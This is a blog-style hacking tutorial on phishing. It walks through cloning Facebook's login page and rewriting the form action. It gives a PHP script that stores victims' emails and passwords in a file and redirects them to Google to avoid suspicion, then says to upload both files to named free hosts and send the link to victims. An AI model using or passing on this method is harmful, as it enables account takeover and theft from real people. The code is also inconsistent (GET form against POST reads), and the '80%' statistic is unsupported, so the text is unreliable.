What is phishing?
Phishing is an attempt to obtain sensitive information like username and passwords, credit card numbers, bank accounts by claiming or pretending to be someone you are not. According to a survey it was concluded that around 80% of email accounts such as Facebook, yahoo, hotmail etc get hacked with this method.
Phishing may be of many types. The most common and popular types of Phishing are:
1. Fake login pages
2. Desktop Phishing
3. Link manipulation
4. Filter Evasion
5. Tabnabbing
Fake login page for Facebook :
In this method you have to create a fake page of any website such as paypal, yahoo, orkut etc similar to the original and asks the victim to login through that page.
Once the victim logins through that page his email id and passwords gets stored and hence his account gets hacked. You have to create exactly same pages. Here I will show you the exact method which a hacker will take to make a fake Login page :
1. First you have to choose a target. Here I am choosing target as www.facebook.com which is the most popular social networking site and mostly used for phishing.
Note: Similar method is used to create a fake login page of any website.
2. Next go to the target site i.e. Facebook and right click on it and click on view source.
3. Now Copy the source and save it into a WordPad or Notepad and rename it something like Facebook.htm.
4. Now open the saved file in a WordPad. Right click the file and click on open with and select WordPad. Now search for “Form method” you will see something like this:
Now change action=”http://login.facebook.com/login.php” to “Pass.php” and
change method=“post” to “Get”.
5. Next you have to create a PHP script which would save the entered username and password and save it something like Pass.php and after saving it will redirect you to the real page. The code for the script is:
<?php
$fp = fopen("FacebookPasswords.htm", "a");
fwrite($fp, "Email:$_POST[email]\tPassword:
$_POST[pass]");
echo "<HTML>
<head>
<title>Welcome to Facebook</title>
<FRAMESET cols=\"*\">
<FRAME SRC=\"http://www.google.com\"
</FRAMESET>";?>
Note: Here http://www.google.com is the redirection url when the victim will enter his username and password in the fake page he will be redirected to www.google.com so he wont become suspicious.
6. Now create an account on webhosting site that supports php toupload the files. Some of popular Free hosting sites are:
1. www.110mb.com
2. www.ripway.com
3. www.t35.com
4. www.yourfreehosting.net
7. Next upload the two files Facebook.htm and Pass.php to one of the free webhostingsites.
8. Once you have uploaded both the files to a webhosting site.
9. Now as you can see that http://h1.ripway.com/rafaybaloch/Facebook.htm is the fake page which will be sent to the victim. Once the victim will enter his username and password it will be saved in a .txt file.
10. Now just download the file and view the saved password inside.
%2B-%2BCopy.jpg)
.png)
.png)
.png)
.png)
.png)
.png)
.PNG)
.PNG)
